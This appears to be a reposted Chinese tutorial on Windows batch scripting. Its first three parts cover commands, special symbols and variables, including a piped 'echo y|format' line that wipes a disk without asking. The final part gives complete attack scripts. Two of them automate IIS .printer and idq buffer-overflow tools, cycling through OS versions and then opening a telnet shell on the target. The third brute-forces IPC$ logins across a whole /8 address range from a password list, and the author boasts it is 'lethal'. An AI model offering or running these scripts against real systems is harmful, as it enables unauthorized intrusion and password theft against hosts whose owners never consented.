1. 程式人生 > >(二)WINDOWS批處理命令詳解

(二)WINDOWS批處理命令詳解

該教程一共分為4大部分,第一部分是批處理的專用命令,第二部分是特殊的符號與批處理,第三部分是批處理與變數,第四部分是完整案例。因為教程比較長,所有在雜誌上我們將分為兩次連載,本期首先刊登一、二兩部分,敬請讀者注意。 

第一部分:批處理的專用命令 

批處理檔案是將一系列命令按一定的順序集合為一個可執行的文字檔案,其副檔名為BAT。這些命令統稱批處理命令,下面我就來給大家介紹一下批處理的命令。 
1、 REM 
REM 是個註釋命令一般是用來給程式加上註解的,該命令後的內容在程式執行的時候將不會被顯示和執行。例: 
REM 你現在看到的就是註解,這一句將不會被執行。在以後的例子中解釋的內容都REM 會放在REM後面。請大家注意。 

2、 ECHO 
ECHO 是一個回顯命令主要引數有OFF和 ON,一般用ECHO message來顯示一個特定的訊息 。例: 
Echo off 
Rem 以上代表關閉回顯即不顯示所執行的命令 
Echo 這個就是訊息。 
Rem 以上代表顯示“這就是訊息”這列字元 
執行結果: 
C://>ECHO.BAT 
這個就是訊息。 

3、 GOTO 
GOTO 即為跳轉的意思。在批處理中允許以“:XXX”來構建一個標號然後用GOTO :標號直接來執行標號後的命令。例 
:LABEL 
REM 上面就是名為LABEL的標號。 
DIR C:// 
DIR D:// 
GOTO LABEL 
REM 以上程式跳轉標號LABEL處繼續執行。 

4、CALL 
CALL 命令可以在批處理執行過程中呼叫另一個批處理,當另一個批處理執行完後再繼續執行原來的批處理。例: 
批處理2.BAT內容如下: 
ECHO 這就是2的內容 
批處理1.BAT內容如下: 
ECHO 這是1的內容 
CALL 2.BAT 
ECHO 1和2的內容全部顯示完成 
執行結果如下: 
C://>1.BAT 
這是1的內容 
這就是2的內容 
1和2的內容全部顯示完成 

5、PAUSE 
PAUSE 停止系統命令的執行並顯示下面的內容。例: 
C://> PAUSE 
請按任意鍵繼續 . . . 

6、 IF 
IF 條件判斷語句,語法格式如下: 
IF [NOT] ERRORLEVEL number command 
IF [NOT] string1==string2 command 
IF [NOT] EXIST filename command 
說明: 
[NOT] 將返回的結果取反值即“如果沒有”的意思。 
ERRORLEVEL 是命令執行完成後返回的退出值 
Number 退出值的數字取值範圍0~255。判斷時值的排列順序應該又大到小。返回的值大於或等於指定的值時條件成立。 
string1==string2 string1和string2都為字元的資料,英文字元的大小寫將看做不同,這個條件中的等於號必須是2個(絕對相等),條件想等後即執行後面的 command 
EXIST filename 為檔案或目錄存在的意思。 
IF ERRORLEVEL這條語句必須放在某一個命令後面。執行命令後由IF ERRORLEVEL來判斷命令的返回值。 
例: 
1、 IF [NOT] ERRORLEVEL number command 
檢測命令執行完後的返回值做出判斷。 
echo off 
dir z: 
rem 如果退出程式碼為1(不成功)就跳至標題1處執行 
IF ERRORLEVEL 1 goto 1 
rem 如果退出程式碼為0(成功)就跳至標題0處執行 
IF ERRORLEVEL 0 goto 0 
:0 
echo 命令執行成功! 
Rem 程式執行完畢跳至標題exit處退出 
goto exit 
:1 
echo 命令執行失敗! 
Rem 程式執行完畢跳至標題exit處退出 
goto exit 
:exit 
Rem 這裡是程式的出口 
2、 IF string1==string2 command 
檢測當前變數的值做出判斷 
ECHO OFF 
IF %1==2 goto no 
Echo 變數相等! 
Goto exit 
:no 
echo 變數不相等 
goto exit 
:exit 
大家可以這樣看效果 C://>test.bat 數字 

3、 IF [NOT] EXIST filename command 
發現特定的檔案做出判斷 
echo off 
IF not EXIST autoexec.bat goto 1 
echo 檔案存在成功! 
goto exit 
:1 
echo 檔案不存在失敗! 
goto exit 
:exit 
這個批處理大家可以放在c盤和d盤分別執行看看效果。 
7、 FOR 
FOR這個命令比較特殊是一個迴圈執行命令的命令,同時FOR的迴圈裡面還可以套用FOR在進行迴圈。這篇我們介紹基本的用法就不做套用的迴圈了,後面再來講解套用的迴圈。在批處理中FOR的命令如下: 
FOR [%%c] IN (set) DO [command] [arguments] 
在命令列中命令如下: 
FOR [%c] IN (set) DO [command] [arguments] 
常用引數: 
/L 該集表示以增量形式從開始到結束的一個數字序列。因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生序列 (5 4 3 2 1)。 
/D 如果集中包含萬用字元,則指定與目錄名匹配,而不與檔名匹配。 

/F 從指定的檔案中讀取資料作為變數 
eol=c - 指一個行註釋字元的結尾(就一個) 
skip=n - 指在檔案開始時忽略的行數。 
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的預設分隔符集。 
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的分配。m-n格式為一個範圍。通過 nth 符號指定 mth。如果符號字串中的最後一個字元星號,那麼額外的變數將在最後一個符號解析之後分配並接受行的保留文字。 
usebackq - 指定新語法已在下類情況中使用:在作為命令執行一個後引號的字串並且一個單引號字元為文字字串命令並允許在 filenameset中使用雙引號擴起檔名稱。 
下面來看一個例子: 
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k 
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程式體;用逗號和/或空格定界符號。請注意,這個 for 程式體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的檔名,您需要用雙引號將檔名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字串的。 
%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 /'z/' 或/'Z/' 的變數。請記住,FOR 變數名分大小寫,是通用的;而且,同時不能有 52 個以上都在使用中。 
您還可以在相鄰字串上使用 FOR /F 分析邏輯;方法是,用單引號將括號之間的 filenameset 括起來。這樣,該字串會被當作一個檔案中的一個單一輸入行。最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括號之間的 filenameset 變成一個反括字串。該字串會被當作命令列,傳遞到一個子 CMD.EXE,其輸出會被抓進記憶體,並被當作檔案分析。因此,以下例子: 
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 
會列舉當前環境中的環境變數名稱。 
以下列舉一個簡單的例子,他將說明引數/L和沒有引數的區別: 
刪除檔案1.TXT 2.TXT 3.TXT 4.TXT 5.TXT 
例: 
ECHO OFF 
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT 
或 
FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT 
以上2條命令執行的結果都是一樣的如下: 
C://>DEL 1.TXT 
C://>DEL 2.TXT 
C://>DEL 3.TXT 
C://>DEL 4.TXT 
C://>DEL 5.TXT 

8、 SETLOCAL 
開始批處理檔案中環境改動的本地化操作。在執行 SETLOCAL 之後 
所做的環境改動只限於批處理檔案。要還原原先的設定,必須執 
行 ENDLOCAL。 達到批處理檔案結尾時,對於該批處理檔案的每個 
尚未執行的 SETLOCAL 命令,都會有一個隱含的 ENDLOCAL 被 
執行。例: 
@ECHO OFF 
SET PATH /*察看環境變數PATH 
PAUSE 
SETLOCAL 
SET PATH=E://TOOLS /*重新設定環境變數PATH 
SET PATH 
PAUSE 
ENDLOCAL 
SET PATH 
從上例我們可以看到環境變數PATH第1次被顯示得時候是系統預設路徑。被設定成了E://TOOLS後顯示為E://TOOLS但當ENDLOCAL後我們可以看到他又被還原成了系統的預設路徑。但這個設定只在該批處理執行的時候有作用。當批處理執行完成後環境變數PATH將會還原。 

9、 SHIFT 
SHIFT命令可以讓在命令上的的命令使用超過10個(%0~%9)以上的可替代引數例: 
ECHO OFF 
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 
SHIFT 
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 
SHIFT 
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 
執行結果如下: 
C:://>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11 
1 2 3 4 5 6 7 8 9 
2 3 4 5 6 7 8 9 10 
3 4 5 6 7 8 9 10 11 
以上就是基於WIN2000下的9個批處理命令。 

第二部分:特殊的符號與批處理 

在命令列下有些符號是不允許使用的但有些符號卻有著特殊的意義。 
1、 符號(@) 
@在批處理中的意思是關閉當前行的回顯。我們從上面知道用命令echo off可以關掉整個批處理的命令回顯但卻不能不顯示echo off這個命令。現在我們在這個命令前加上@這樣echo off這一命令就被@關閉了回顯從而達到所有命令均不回顯得要求 
2、 符號(>) 
>的意思是傳遞並覆蓋。他所起的作用是將執行後的回顯結果傳遞到後面的範圍(後面可是檔案也可是預設的系統控制檯)例: 
檔案1.txt的檔案內容為: 
1+1 
使用命令c://>dir *.txt >1.txt 
這時候1.txt的內容如下 
驅動器 C 中的卷沒有標籤。 
卷的序列號是 301A-1508 
C:// 的目錄 
2003-03-11 14:04 1,005 FRUNLOG.TXT 
2003-04-04 16:38 18,598,494 log.txt 
2003-04-04 17:02 5 1.txt 
2003-03-12 11:43 0 aierrorlog.txt 
2003-03-30 00:35 30,571 202.108.txt 
5 個檔案 18,630,070 位元組 
0 個目錄 1,191,542,784 可用位元組 
>將命令執行的結果覆蓋了原始的檔案內容。 
在傳遞給控制檯的時候程式將不會有任何回顯(注意:這裡的回顯跟echo off關掉的回顯不是同一概念。Echo off關掉的是輸入命令的回顯,這裡的回顯是程式執行中或後的回顯)例: 
C://>dir *.txt >nul 
程式將沒有任何顯示也不會產生任何痕跡。 
3、 符號(>>) 
符號>>的作用與符號>相似,但他們的區別在於>>是傳遞並在檔案末尾追加>>也可將回顯傳遞給控制檯(用法同上)例: 
檔案1.txt內同為: 
1+1 
使用命令c://>dir *.txt >>1.txt 
這時候1.txt的內容如下 
1+1 
驅動器 C 中的卷沒有標籤。 
卷的序列號是 301A-1508 
C:// 的目錄 
2003-03-11 14:04 1,005 FRUNLOG.TXT 
2003-04-04 16:38 18,598,494 log.txt 
2003-04-04 17:02 5 1.txt 
2003-03-12 11:43 0 aierrorlog.txt 
2003-03-30 00:35 30,571 202.108.txt 
5 個檔案 18,630,070 位元組 
0 個目錄 1,191,542,784 可用位元組 
>>將命令執行的結果覆加在了原始的檔案內容後面。 
4、 符號(|) 
|是一個管道傳輸命令意思是將上一命令執行的結果傳遞給下一命令去處理。例: 
C://>dir c://|find "1508" 
卷的序列號是 301A-1508 
以上命令的意思為查詢c://的所有並發現1508字串。Find的用法請用 find /?自行檢視 
在不使用format的自動格式化引數的時候我是這樣來自動格式化碟片的 
echo y|fornat a: /s /q /v:system 
用過format命令的人都知道format有一個互動對化過程,要使用者輸入y來確定當前的命令是否被執行。在這個命令前加上echo y並用管道傳輸符|將echo執行的結果y傳遞給format從而達到手工輸入y的目的(這條命令有危害性,測試的時候請謹慎) 
5、 符號(^) 
^ 是對特殊符號 > 、<、 &、的前導字元。在命令中他將以上的3個符號的特殊動能去掉僅僅只吧他們當成符號而不使用他們的特殊意義。例: 
c://>echo test ^> 1.txt 
test > 1.txt 
從上面可以看出並沒有把test寫入檔案1.txt而是將test >1.txt 當字串顯示了出來。這個符號在遠端構建批處理的時候很有效果。 
6、 符號(&) 
&符號允許在一行中使用2個以上不同的命令,當第一個命令執行失敗將不影響第2個命令的執行。例: 
c://> dir z:// &dir y:// &dir c:// 
以上的命令將會連續顯示z: y: c:盤內的內容不理會該碟符是否存在。 
7、 符號(&&) 
&&符號也是允許在一行中使用2個以上不同的命令,當第一個命令執行失敗後後續的命令將不會再被執行。例: 
c://> dir z:// &&dir y:// &&dir c:// 
以上的命令將會提示檢查是否存在z:盤如果存在則執行,如果不存在則停止執行所有的後續命令 
8、 符號(" ") 
" "符號允許在字串中包含空格。進入一個特殊的目錄可以用如下方法例: 
c://>cd “Program Files” 
c://>cd progra~1 
c://>cd pro* 
以上方法都可以進入Program Files目錄 
9、 符號(,) 
,符號相當於空格。在某些特殊的情況下可以用,來代替空格使用。例: 
c://>dir,c:// 
10、 符號(;) 
;符號當命令相同的時候可以將不同的目標用;隔離開來但執行效果不變。如執行過程中發生錯誤則只返回錯誤報告但程式還是會繼續執行。例: 
DIR C://;D://;E://F:// 
以上的命令相當於 
DIR C:// 
DIR D:// 
DIR E:// 
DIR F:// 
當然還有些特殊的符號但他們的使用範圍很小我就不再這裡一一的說明了。 

第三部分:批處理與變數 

在批處理中適當的引用變數將會使你所編制的程式應用面更廣。批處理每次能處理的變數從%0~%9共10個。其中%0預設給批處理的檔名使用。除非在使用SHIFT命令後%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一個%0那麼結果如下: 
C:://>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11 
SHIFT.BAT 1 2 3 4 5 6 7 8 9 
1 2 3 4 5 6 7 8 9 10 
2 3 4 5 6 7 8 9 10 11 
系統是如何區分每個變數的呢,系統區分變數的規則為字串中間的空格,即只要發現空格就把空格前面的字元當作一個變數而空格後面的字元則作為另一個變數。如果你的變數是一個當中包含空格的長目錄名這時候你需要用上一節特殊符號8中所用的引號將他圈起來。例: 
批處理內容為: 
ECHO %1 
ECHO %2 
ECHO %3 
輸入命令: 
C://>TEST “Program Files” Program Files 
Program Files 
Program 
Files 
在一個複雜的批處理中又可能同時使用的變數會超過10個這時候會和系統的規則想衝突那麼這個問題怎麼解決呢?在系統中還有一種變數稱之為環境變數(使用SET命令可以檢視當前系統的環境變數)如當前系統目錄是%windir%或%SystemRoot%等。當同時使用的引數超過10個的時候,我們可以把某些在後面的程式中還要呼叫的變數儲存為環境變數。具體用法如 SET A=%1 這樣我們就命名了一個新的環境變數A 在呼叫變數A的時候要%A%這樣呼叫,環境變數不受SHIFT命令影響。如果要改變一個環境變數需要重新對其設定才能改變。當然也可以進行變數與變數之間的傳遞來達到目的。下面我們來看一個例子,批處理如下: 
ECHO OFF 
SET PASS=%1 
SHIFT 
SET PASS1=%1 
SHIFT 
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9 
SHIFT 
ECHO %PASS% %PASS1% %9 
SET PASS=%PASS1% 變數的傳遞 
SET PASS1=%9 
SHIFT 
ECHO %PASS% %PASS1% %9 
使用命令:C://>TEST A B 3 4 5 6 7 8 9 10 K L 
A B 3 4 5 6 7 8 9 10 K 注意:這一行顯示了11個變數 
A B L 在使用了3次SHIFT之後%9變成了L 
B L 變數的傳遞後的結果 

-- 作者:hamgbbg 
-- 釋出時間:2006-5-24 16:50:27 
-- 
第四部分:完整案例 

以上就是批處理的一些用法。現在我們把這些用法結合起來詳細的分析一下目前網上釋出的一些批處理,看看他們是怎麼運作的。這裡我將列舉三個例子來詳細分析,為了保持程式的完整我的註釋會加在/*後面。 
例一 
這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢位的批處理。用到的程式有iis5hack.exe和系統自帶的telnet.exe。iis5hack的命令格式為: 
iis5hack <目標ip> <目標埠> <目標版本> <溢位連線埠>目標版本為0-9這10個數字分別對應不同語言版本和sp的系統版本,我們編制的批處理使用的命令格式為 開始版本號可有可無。程式如下。 
@echo off /*關閉命令回顯 
if "%1%"=="" goto help /*判斷%1是否為空,%1為目標ip 
if "%2%"=="1" goto 1 /*判斷%2是否為1,為1則跳轉標誌1 
if "%2%"=="2" goto 2 /*%2為開始版本號,如果沒有設定則 
if "%2%"=="3" goto 3 /*如果存在則從匹配的地方開始執行 
if "%2%"=="4" goto 4 
if "%2%"=="5" goto 5 
if "%2%"=="6" goto 6 
if "%2%"=="7" goto 7 
if "%2%"=="8" goto 8 
if not EXIST iis5hack.exe goto file /*沒有發現iis5hack.exe就執行標誌file段內容 
ping %1 -n 1 | find "Received = 1" /*ping目標1次,從結果中發現Received = 1 
if errorlevel 1 goto error /*如果返回程式碼為1則執行error段(程式碼1為沒有發現 0為發現併成功執行) 
iis5hack %1 80 9 88 | find "good" /*開始溢位目標埠80 系統程式碼9 溢位後連線埠88 在執行結果中發現字串”good”(溢位成功後才會有字串good) 
if not errorlevel 1 goto telnet /*如果沒有錯誤程式碼1(溢位成功)就執行telnet段的內容。 
echo 作業系統型別 9 失敗! /否則顯示這一句 
:8 /*以下程式碼內容參照上面 
iis5hack %1 80 8 88 | find "good" 
if not errorlevel 1 goto telnet 
echo 作業系統型別 8 失敗! 
:7 
iis5hack %1 80 7 88 | find "good" 
if not errorlevel 1 goto telnet 
echo 作業系統型別 7 失敗! 
:6 
iis5hack %1 80 6 88 | find "good" 
if not errorlevel 1 goto telnet 
echo 作業系統型別 6 失敗! 
:5 
iis5hack %1 80 5 88 | find "good" 
if not errorlevel 1 goto telnet 
echo 作業系統型別 5 失敗! 
:4 
iis5hack %1 80 4 88 | find "good" 
if not errorlevel 1 goto telnet 
echo 作業系統型別 4 失敗! 
:3 
iis5hack %1 80 3 88 | find "good" 
if not errorlevel 1 goto telnet 
echo 作業系統型別 3 失敗! 
:2 
iis5hack %1 80 2 88 | find "good" 
if not errorlevel 1 goto telnet 
echo 作業系統型別 2 失敗! 
:1 
iis5hack %1 80 1 88 | find "good" 
if not errorlevel 1 goto telnet 
echo 作業系統型別 1 失敗! 
:0 
iis5hack %1 80 0 88 | find "good" 
if not errorlevel 1 goto telnet 
echo 作業系統型別 0 失敗! 
goto error 
:telnet 
telnet %1 88 /*開始連線目標ip的88埠 
goto exit /*連線中斷後跳轉exit段 
:error /*error段顯示錯誤後的幫助資訊 
echo 可能網路不能連線或者對方以修補該漏洞!請按照下面的格式手工嘗試一次! 
echo iis5hack [目標IP] [WEB埠] [系統型別] [開放埠] 
ECHO 中文: 0 
ECHO 中文+sp1: 1 
ECHO 英文: 2 
ECHO 英文+sp1: 3 
ECHO 日語: 4 
ECHO 日語+sp1: 5 
ECHO 韓文: 6 
ECHO 韓文+sp1: 7 
ECHO 墨西哥語: 8 
ECHO 墨西哥語+sp1: 9 
goto exit /*跳轉exit段 
:file /*file段顯示檔案沒有發現的資訊 
echo 檔案iis5hack.exe沒有發現!程式終止執行! 
goto exit /*跳轉exit段 
:help /*help段顯示本批處理的使用格式幫助 
echo 本程式用法如下: 
echo iis [目標ip] 
echo iis [目標ip] [開始的號碼9-0] 
:exit /*exit段為程式出口 
這個批處理基本沒有什麼迴圈只是一路走下來。所以程式碼比較長難度不大! 
例二 
這個例子是用iisidq.exe對有idq漏洞的機器進行溢位的批處理。使用的程式有iisidq.exe和系統自帶的程式telnet.exe。iisidq.exe的用法如下: 
執行引數: 作業系統型別 目的地址 web埠 1 溢位監聽埠 <輸入命令1> 
其中,如果輸入命令引數沒有輸入,那麼,預設為:"cmd.exe"。 
其中作業系統型別型別的程式碼範圍是0-14。我們編制的批處理使用的命令格式為 程式如下: 
@echo off /*同例一 
if not EXIST iisidq.exe goto file /*同例一 
if %1 == "" goto error /*同例一 
ping %1 -n 1 | find "Received = 1" /*同例一 
if errorlevel 1 goto error1 /*同例一 
set b=%1 /*建立一個環境變數b,將變數%1的內容傳遞給環境變數b。變數b的內容以後將是目標ip 
set a=0 /*建立一個環境變數a並指定環境變數a為0。由於使用整個批處理的迴圈所以用a來做計數器。 
:no /*no段開始 
if %a%==0 set d=0 /*如果環境變數a=0則建立環境變數d設定環境變數d=0。 
if %a%==1 set d=1 /*環境變數d其實是作業系統型別程式碼,用計數器來控制其 
if %a%==2 set d=2 /*變動。 
if %a%==3 set d=3 
if %a%==4 set d=4 
if %a%==5 set d=5 
if %a%==6 set d=6 
if %a%==7 set d=7 
if %a%==9 set d=9 
if %a%==10 set d=13 
if %a%==11 set d=14 
goto 0 /*變數傳遞完成後轉到標誌0處執行 
:1 
echo 正在執行第%d%項!與目標%b%不能連線!正在嘗試連線請等候...... 
:0 /*標誌0開始 
IISIDQ %d% %b% 80 1 99 |find "good" /*按格式傳送溢位命令並在結果中發現字串good(傳送程式碼成功才會有字串good) 
if errorlevel 1 goto 1 /*如果沒有good字串則沒有傳送成跳 
/*轉標誌1處繼續嘗試傳送 
ping 127.0.0.1 -n 8 >nul /*ping自己8次相當於延時8秒不顯示執 
/*行結果 
echo 正在執行第%d%項! /*報告正在溢位的作業系統型別 
telnet %b% 99 /*連線溢位埠 
echo. /*顯示一個空行 
if %d%==14 goto error1 /*如果作業系統型別為14則跳轉error1處(迴圈出口) 
if %d%==13 set a=11 /*開始用計數器對作業系統程式碼重新附值 
if %d%==9 set a=10 
if %d%==7 set a=9 
if %d%==6 set a=7 
if %d%==5 set a=6 
if %d%==4 set a=5 
if %d%==3 set a=4 
if %d%==2 set a=3 
if %d%==1 set a=2 
if %d%==0 set a=1 
goto no /*附值完成跳轉no段執行 
:file /*以下都是出錯後的幫助提示 
echo IIsidq.exe沒有發現!將該檔案和本檔案放在同一目錄! 
goto exit 
:error 
echo 錯誤!目標ip不可識別!請使用下面的格式連線! 
echo idq [目標IP] 
goto exit 
:error1 
echo 連線沒有成功!可能目標機器已經修補了該漏洞或者網路故障所至! 
echo 請按照下面的格式手工嘗試! 
echo iisidq [目標型別] [目標IP] [目標埠] [連線方式] [溢位埠] 
echo telnet [目標ip] [溢位埠] 
:exit /*整個程式的出口 
這個批處理採用的整體迴圈掌握好計數器部分就掌握了這個批處理。 
例三 
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use ////%1.%%a.%%b.%%c//ipc$ %%e /u:%%f 
上面的命令為1條命令。大家可以看出該命令使用了4個FOR來套用的。用法為:C://>TEST.BAT 218 當輸入218回車後該命令會由第1個for取初始值0為%%a然後繼續取第2個for的初始值0為%%b繼續取第3個for的初始值1為%%c最後一個for是將userpass.txt中的第一段字元作為密碼%%e第二段字元作為使用者名稱%%f最後執行命令 (這裡我把上面的值都帶進去,設密碼為123 使用者名稱為 abc) 
net usr ////218.0.0.1//ipc$ 123 /u:abc 
當然上面這個例子可能有些朋友會說太簡單並且太死板不靈活。我把這個例子做了些修改(完整檔案見光碟ipc.bat)由興趣的朋友可以自己看看。修改後的程式可以靈活的查詢你指定開始到結束或你指定開始到最大ip的範圍。當然功能還可以在加強,至於能加強到什麼地步能不能成為一個新的工具那就是你的事了。 
這個的迴圈動作大了點主要是ip的數字替換麻煩所以沒辦法。這個批處理我就不寫註釋了,大家好好的參考上面的內容你會很快看懂這個批處理的。看懂了得不要說簡單哦!最起碼這是個沒有使用任何第三方工具就能探測並儲存弱口令的批處理了!!簡單的改一改殺傷力還是很大的。以上這些批處理全部在win2000和xp下測試通過最大的優點就是隻有一個批處理檔案並且絕對不會誤報。缺點就是太長!